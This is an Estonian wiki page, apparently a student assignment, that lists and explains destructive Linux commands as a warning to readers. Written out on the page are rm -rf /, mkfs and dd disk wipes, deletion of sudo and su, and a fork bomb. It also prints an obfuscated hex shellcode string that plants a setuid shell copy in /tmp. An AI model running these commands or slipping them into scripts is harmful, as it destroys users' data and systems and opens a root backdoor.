Linuxi surmakäsud: Difference between revisions

From ICO wiki
Jump to navigationJump to search
Jveikesa (talk | contribs)
Jveikesa (talk | contribs)
Line 55: Line 55:




==mkfs.ext4 /dev/sda==
==Linuxi Format C:\==


See käsk formaadib sda kõvaketta, mis on see kus operatsioonisüsteem asub, ext4 failisüsteemi kasutama. Ehk peale selle sisestamist on ketta sisu kaotsi läinud.
See käsk formaadib sda kõvaketta, mis on see kus operatsioonisüsteem asub, ext4 failisüsteemi kasutama. Ehk peale selle sisestamist on ketta sisu kaotsi läinud.
Line 64: Line 64:


<code> /dev/sda </code> - kõvaketas, millele käsk suunatud on
<code> /dev/sda </code> - kõvaketas, millele käsk suunatud on


== Kõvaketta täitmine nullidega või suvaliste bittidega ==
== Kõvaketta täitmine nullidega või suvaliste bittidega ==

Revision as of 19:03, 5 November 2017

Autor

Jaan Veikesaar

A21

05/11/2017


rm -rf /

  • Antud käsu sisestades kustutab Linux rõõmsalt kõik mis ta vähegi suudab.


rm -rf /

rm – Kustuta järgnevad failid.

-rf - Jooksuta rm käsku rekursiivselt ehk kustuta kõik failid ja kaustad etteantud kaustas ja eemalda need jõuga ilma sinult küsimata.

/ - See annab rm käsule juurika kataloogi, mis sisaldab kogus sinu kõvaketast, kõiki küljes olevaid seadmeid ja eemaldatavaid andmekandjaid.


  • Veel erinevaid võimalusi:


rm -rf ~ - kustutab kodukataloogi.

rm -rf * - kustutab seadistuste failid.


  • Samuti võidakse sind proovida petta. Järgnev kood on rm -rf / heksa esitlus, mis toimib täpselt samamoodi kui rm -rf / sisestades.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p

release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”

“\x6e\x2f\x73\x68\x00\x2d\x63\x00”

“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;


Linuxi Format C:\

See käsk formaadib sda kõvaketta, mis on see kus operatsioonisüsteem asub, ext4 failisüsteemi kasutama. Ehk peale selle sisestamist on ketta sisu kaotsi läinud.

mkfs - make file system käsk, ehk loo failisüsteem

ext4 - meie poolt ette antud failisüsteem

/dev/sda - kõvaketas, millele käsk suunatud on

Kõvaketta täitmine nullidega või suvaliste bittidega

dd if=/dev/zero of=/dev/sda

dd if=/dev/random of=/dev/sda

Antud käsk paneb süsteemi kõvaketta sisu nullidega või suvaliste bittidega üle kirjutama.

dd - käsk, mida kasutatakse, et ketastele andmeid kirjutada

if - parameeter, mis otsustab andmete pärinemise ehk sellel juhul /dev/zero toodab igavese voo nulle ja /dev/random igavese nivoo suvalisi bitte.

of=/dev/sda – väljundiks on esimene kõvaketas

See on hea käsk kui hakkad näiteks kõvaketast müüma ja soovid sellelt oma andmed kustutada aga muidu tasub sellega ettevaatlik olla.

Sudo ja Su kustutamine

Üks viis oma elu ebameeldivaks muuta on eemaldades Linuxist kaks tähtsat käsku: sudo ja su. Need lubavad sul käske jooksutada juurõigustega ja ilma nendeta kaotad sa palju oma tegutsemisvabadusest. Nende taastamine on võimalik aga ajamahukas ja pead murdev töö.

rm -f /usr/bin/sudo

rm -f /bin/su

Musta auku saatmine

/dev/null on eriline koht mis toimib nagu must auk – kõik sinna saadetu on kaob aga see raporteerib, et kirjutamise operatsioon õnnestus. Tavaliselt saadetakse siia mingist protsessist tulevad ebavajalikud väljundid.

mv – käsk mis liigutab faili või kausta teise asukohta.

~ - kodukataloogi esitlus.

/dev/null – koht kuhu kodukataloog liigutatakse ja kus selle andmed hävinevad.

Käsk > /dev/sda

See käsk võtab siis suvaliselt käsult saadud sisendi ja kirjutab selle väljundi operatsioonisüsteemi asukohale, kustutades kõik muu eelneva info.

Käsk - võib siin olla suvaline

> - saada väljund järgnevasse asukohta ja kirjuta see üle

/dev/sda – peamine kõvaketas

Surmav kahvel

 :(){:|:&};:

Tundub suvaline sümbolite jada aga see on ohtlik bashi funktsioon mida tuntakse kahvlipommina (Fork Bomb). See käsk teeb endast koopia ja siis need koopiad teevad veel endast koopia ja nii lõpmatuseni või kuni arvuti kokku jookseb, sest protsessori ja muutmälu ressurss ei ole lõpmatu. Selle ravib taas käivitamine aga oht on, et salvestamata andmed võivad kaduma minna.